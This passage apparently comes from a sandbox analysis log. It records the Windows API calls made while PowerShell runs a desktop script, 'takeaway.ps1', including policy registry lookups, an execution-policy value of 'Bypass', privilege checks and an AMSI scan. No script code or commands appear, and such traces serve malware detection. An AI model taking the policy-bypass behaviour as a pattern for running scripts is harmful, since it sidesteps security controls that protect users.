bAlertable=0) returned 0x0 [0123.508] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x7a6f258 | out: UnbiasedTime=0x7a6f258) returned 1 [0123.508] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x7a6eef0 | out: UnbiasedTime=0x7a6eef0) returned 1 [0123.509] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x7a6eee0 | out: UnbiasedTime=0x7a6eee0) returned 1 [0123.509] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.516] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.538] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.671] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.698] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.740] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.779] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.826] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.935] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.013] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.065] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.109] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.155] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.206] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.249] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.294] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.360] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.543] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.550] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.576] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.580] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.585] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.594] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.683] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.696] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.713] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.715] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.723] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.736] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.738] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.745] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.752] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.938] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.785] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.130] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.154] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.161] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.189] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.203] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.213] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.234] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.236] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.248] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.269] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.272] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.326] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.645] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.912] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.969] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.023] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.050] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.066] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.068] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.078] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.085] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.096] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.115] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.140] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.154] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.174] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.189] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.192] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.211] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.217] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.219] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.223] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.233] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.237] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.250] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.254] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.258] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.268] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.274] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.284] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.288] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.305] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.322] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.338] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.360] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.374] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.413] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.455] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.479] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.491] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.545] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.613] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.615] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.635] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.648] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0147.704] CoUninitialize () Thread: id = 73 os_tid = 0x1130 [0082.403] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0082.404] RoInitialize () returned 0x1 [0082.404] RoUninitialize () returned 0x0 [0082.406] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x843f38c*=0x7c0, lpdwindex=0x843f1ac | out: lpdwindex=0x843f1ac) returned 0x0 [0082.410] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0082.432] EtwEventRegister (in: ProviderId=0x51be200, EnableCallback=0x7152e06, CallbackContext=0x0, RegHandle=0x51be1dc | out: RegHandle=0x51be1dc) returned 0x0 [0082.433] EtwEventSetInformation (RegHandle=0x74474b8, InformationClass=0x78, EventInformation=0x2, InformationLength=0x51be1ac) returned 0x0 [0082.433] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x843f010, nSize=0x80 | out: lpBuffer="ࡃ檀猭￿￿姗狣嬒狣ԛ") returned 0x0 [0082.438] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1")) returned 0x20 [0082.439] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x104, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0082.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843f01c) returned 1 [0082.439] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1"), fInfoLevelId=0x0, lpFileInformation=0x843f098 | out: lpFileInformation=0x843f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d80c6b6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d80c6b6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa0350c92, ftLastWriteTime.dwHighDateTime=0x1d55069, nFileSizeHigh=0x0, nFileSizeLow=0xeb6)) returned 1 [0082.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843f018) returned 1 [0082.440] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1")) returned 0x20 [0082.440] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0082.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0082.441] CoTaskMemAlloc (cb=0x20c) returned 0x7454778 [0082.441] GetSystemDirectoryW (in: lpBuffer=0x7454778, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0082.441] CoTaskMemFree (pv=0x7454778) [0082.441] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0082.441] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0082.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ef30) returned 1 [0082.441] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843efac | out: lpFileInformation=0x843efac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0082.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ef2c) returned 1 [0082.441] GetSystemInfo (in: lpSystemInfo=0x843efe0 | out: lpSystemInfo=0x843efe0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0082.441] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843ef70 | out: phkResult=0x843ef70*=0x7ec) returned 0x0 [0082.442] RegQueryValueExW (in: hKey=0x7ec, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843ef8c, lpData=0x0, lpcbData=0x843ef88*=0x0 | out: lpType=0x843ef8c*=0x0, lpData=0x0, lpcbData=0x843ef88*=0x0) returned 0x2 [0082.442] RegCloseKey (hKey=0x7ec) returned 0x0 [0082.444] EtwEventRegister (in: ProviderId=0x51c3354, EnableCallback=0x7152e2e, CallbackContext=0x0, RegHandle=0x51c3330 | out: RegHandle=0x51c3330) returned 0x0 [0082.444] EtwEventSetInformation (RegHandle=0x7447fb0, InformationClass=0x79, EventInformation=0x2, InformationLength=0x51c3308) returned 0x0 [0082.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0082.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0082.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843f04c) returned 1 [0082.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1"), fInfoLevelId=0x0, lpFileInformation=0x51c33cc | out: lpFileInformation=0x51c33cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d80c6b6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d80c6b6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa0350c92, ftLastWriteTime.dwHighDateTime=0x1d55069, nFileSizeHigh=0x0, nFileSizeLow=0xeb6)) returned 1 [0082.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843f048) returned 1 [0082.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0082.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0082.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843f00c) returned 1 [0082.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1"), fInfoLevelId=0x0, lpFileInformation=0x843f088 | out: lpFileInformation=0x843f088*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d80c6b6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d80c6b6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa0350c92, ftLastWriteTime.dwHighDateTime=0x1d55069, nFileSizeHigh=0x0, nFileSizeLow=0xeb6)) returned 1 [0082.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843f008) returned 1 [0082.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0082.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0082.446] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x843efd0 | out: phkResult=0x843efd0*=0x0) returned 0x2 [0082.447] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x843efd0 | out: phkResult=0x843efd0*=0x0) returned 0x2 [0082.448] GetEnvironmentVariableW (in: lpName="PSExecutionPolicyPreference", lpBuffer=0x843ef10, nSize=0x80 | out: lpBuffer="Bypass") returned 0x6 [0082.449] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0082.449] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0082.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843f01c) returned 1 [0082.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f0 [0082.449] GetFileType (hFile=0x7f0) returned 0x1 [0082.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843f018) returned 1 [0082.449] GetFileType (hFile=0x7f0) returned 0x1 [0082.475] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x843f058*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843f058*=0) returned 0x0 [0082.476] ReadFile (in: hFile=0x7f0, lpBuffer=0x51c4a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843f084, lpOverlapped=0x0 | out: lpBuffer=0x51c4a30*, lpNumberOfBytesRead=0x843f084*=0xeb6, lpOverlapped=0x0) returned 1 [0082.476] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x843f058*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843f058*=0) returned 0xeb6 [0082.476] ReadFile (in: hFile=0x7f0, lpBuffer=0x51c4086, nNumberOfBytesToRead=0x14a, lpNumberOfBytesRead=0x843f084, lpOverlapped=0x0 | out: lpBuffer=0x51c4086*, lpNumberOfBytesRead=0x843f084*=0x0, lpOverlapped=0x0) returned 1 [0082.476] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x843f058*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843f058*=0) returned 0xeb6 [0082.476] ReadFile (in: hFile=0x7f0, lpBuffer=0x51c4a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843f084, lpOverlapped=0x0 | out: lpBuffer=0x51c4a30*, lpNumberOfBytesRead=0x843f084*=0x0, lpOverlapped=0x0) returned 1 [0082.476] CoTaskMemAlloc (cb=0x20c) returned 0x7454778 [0082.476] GetSystemDirectoryW (in: lpBuffer=0x7454778, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0082.476] CoTaskMemFree (pv=0x7454778) [0082.476] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0082.476] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0082.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843efb8) returned 1 [0082.476] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843f034 | out: lpFileInformation=0x843f034*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0082.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843efb4) returned 1 [0082.477] GetSystemInfo (in: lpSystemInfo=0x843f068 | out: lpSystemInfo=0x843f068*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0082.477] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843eff8 | out: phkResult=0x843eff8*=0x7f8) returned 0x0 [0082.478] RegQueryValueExW (in: hKey=0x7f8, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843f014, lpData=0x0, lpcbData=0x843f010*=0x0 | out: lpType=0x843f014*=0x0, lpData=0x0, lpcbData=0x843f010*=0x0) returned 0x2 [0082.478] RegCloseKey (hKey=0x7f8) returned 0x0 [0082.478] CloseHandle (hObject=0x7f0) returned 1 [0082.499] CoCreateGuid (in: pguid=0x843e9f8 | out: pguid=0x843e9f8*(Data1=0x838d6957, Data2=0x3509, Data3=0x4087, Data4=([0]=0x99, [1]=0x83, [2]=0x27, [3]=0x4c, [4]=0x52, [5]=0x7f, [6]=0x80, [7]=0x54))) returned 0x0 [0082.864] CoCreateGuid (in: pguid=0x843f12c | out: pguid=0x843f12c*(Data1=0xa991cd67, Data2=0xb808, Data3=0x402e, Data4=([0]=0xb3, [1]=0xe0, [2]=0x60, [3]=0x19, [4]=0x7d, [5]=0x46, [6]=0x10, [7]=0x16))) returned 0x0 [0082.867] GetCurrentProcess () returned 0xffffffff [0082.867] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843f0f4 | out: TokenHandle=0x843f0f4*=0x7f0) returned 1 [0082.867] GetTokenInformation (in: TokenHandle=0x7f0, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x843f0f8 | out: TokenInformation=0x0, ReturnLength=0x843f0f8) returned 0 [0082.867] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x3302d20 [0082.867] GetTokenInformation (in: TokenHandle=0x7f0, TokenInformationClass=0x8, TokenInformation=0x3302d20, TokenInformationLength=0x4, ReturnLength=0x843f0f8 | out: TokenInformation=0x3302d20, ReturnLength=0x843f0f8) returned 1 [0082.867] LocalFree (hMem=0x3302d20) returned 0x0 [0082.867] DuplicateTokenEx (in: hExistingToken=0x7f0, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x843f100 | out: phNewToken=0x843f100*=0x7f8) returned 1 [0082.867] CheckTokenMembership (in: TokenHandle=0x7f8, SidToCheck=0x51e9680*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x843f110 | out: IsMember=0x843f110) returned 1 [0082.867] CloseHandle (hObject=0x7f8) returned 1 [0082.880] QueryPerformanceFrequency (in: lpFrequency=0x3144da0 | out: lpFrequency=0x3144da0*=100000000) returned 1 [0082.881] QueryPerformanceCounter (in: lpPerformanceCount=0x843f10c | out: lpPerformanceCount=0x843f10c*=17501255224) returned 1 [0082.881] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0082.881] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0082.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843f040) returned 1 [0082.881] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1"), fInfoLevelId=0x0, lpFileInformation=0x843f0bc | out: lpFileInformation=0x843f0bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d80c6b6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d80c6b6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa0350c92, ftLastWriteTime.dwHighDateTime=0x1d55069, nFileSizeHigh=0x0, nFileSizeLow=0xeb6)) returned 1 [0082.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843f03c) returned 1 [0082.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0082.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0082.883] AmsiOpenSession () returned 0x0 [0082.883] AmsiScanString () returned 0x80070015 [0083.660] QueryPerformanceCounter (in: lpPerformanceCount=0x843f0d4 | out: lpPerformanceCount=0x843f0d4*=17579141190) returned 1 [0083.670] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x843f010, nSize=0x80 | out: lpBuffer="￿￿尨狢㘟狞蠍肞䦈̣㗐狞꒒̛衱肞ࡃ猶￿￿䳆狞컋燖") returned 0x0 [0083.805] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843f268*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843f268*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xfc, [1]=0x90, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0083.805] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843f1d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843f1d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0083.805] 